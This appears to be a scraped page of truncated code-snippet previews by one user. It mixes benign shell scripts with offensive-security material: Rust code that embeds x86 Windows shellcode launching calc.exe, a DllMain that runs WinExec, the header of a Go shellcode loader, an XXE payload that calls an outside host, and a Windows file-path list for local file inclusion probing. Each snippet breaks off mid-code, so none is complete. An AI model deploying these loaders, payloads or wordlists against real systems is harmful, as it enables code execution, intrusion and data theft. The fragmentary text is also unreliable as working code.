deadjakk

#[link(name="kernel32")]
extern "system" {
	fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32;
}

/// &str to a null termed u8bit vector
fn str_to_u8(string: &str) -> Vec<u8>{
	let mut ret : Vec<u8> = vec![];
	for x in string.as_bytes() {
		println!("{:?}",x);

deadjakk

use region::{Protection};
fn main(){
  // from windows, ran the following:
  // rustup target add i686-pc-windows-msvc
  // cargo run --target=i686-pc-windows-msvc
  // x86 win shellcode 
	// shellcode from https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html
	static RET5: [u8;200] = *b"\x50\x53\x51\x52\x56\x57\x55\x89\xe5\x83\xec\x18\x31\xf6\x56\x6a\x63\x66\x68\x78\x65\x68\x57\x69\x6e\x45\x89\x65\xfc\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x89\x5d\xf8\x31\xc0\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x8b\x78\x20\x01\xdf\x89\x7d\xf0\x8b\x50\x1c\x01\xda\x89\x55\xec\x8b\x58\x14\x31\xc0\x8b\x55\xf8\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xd7\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd8\x72\xe5\x83\xc4\x26\xeb\x41\x8b\x4d\xf4\x89\xd3\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x53\x68\x69\x6e\x64\x6f\x68

deadjakk

#[link(name="kernel32")]
extern "system" {
	fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32;
}

#[no_mangle] // needs to precede every function you wish to call from c
extern "system" fn DllMain(_: *const u8, _: u32, _: *const u8) -> u32 { 
	let ret  = unsafe {
		WinExec(['c' as u8 , 'a' as u8 ,'l' as u8, 'c' as u8, '.' as u8, 'e' as u8, 'x' as u8 , 'e' as u8, '\0' as u8].as_mut_ptr(), 1); 
	};

deadjakk

import (
	"syscall"
	"unsafe"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
	ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
		uintptr(hwnd),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),

deadjakk

//
// Simple Shellcode loader implemented in Golang.
//
// Compilation:
//      $ go build -o foo.exe shellcodeLoader.go
//
// Mariusz B. / mgeeky (@mariuszbit), '20 
// <mb@binary-offensive.com>
//

deadjakk

#!/bin/bash
echo "enter username:"
read USERNAME
echo "enter # of gigabytes the home drive should be, just the number"
read SIZE
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G"
cd /
sudo adduser $USERNAME
sudo rm -rf /home/${USERNAME} # removing the home directory it created
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G

deadjakk

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

deadjakk

#!/bin/bash
# Original source: https://raw.githubusercontent.com/kaihendry/dotfiles/master/bin/dwm_status
# Network speed stuff stolen from http://linuxclues.blogspot.sg/2009/11/shell-script-show-network-speed.html

print_wifi() {
	ip=$(ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+')
	if=wlan0
		while IFS=$': \t' read -r label value
		do
			case $label in SSID) SSID=$value

deadjakk

c:/all.txt
c:/apache2/log/access_log
c:/apache2/log/access.log
c:/apache2/log/error_log
c:/apache2/log/error.log
c:/apache2/logs/access_log
c:/apache2/logs/access.log
c:/apache2/logs/error_log
c:/apache2/logs/error.log
c:/apache/log/access_log

deadjakk

#!/bin/bash
echo installing xinitrc-xsession
git clone https://aur.archlinux.org/xinit-xsession.git /tmp/xinit-xsession
cd /tmp/xinit-xsession

doas cp xinitrcsession-helper /usr/bin/
doas chmod +x /usr/bin/xinitrcsession-helper

doas cp xinitrc.desktop /usr/share/xsessions/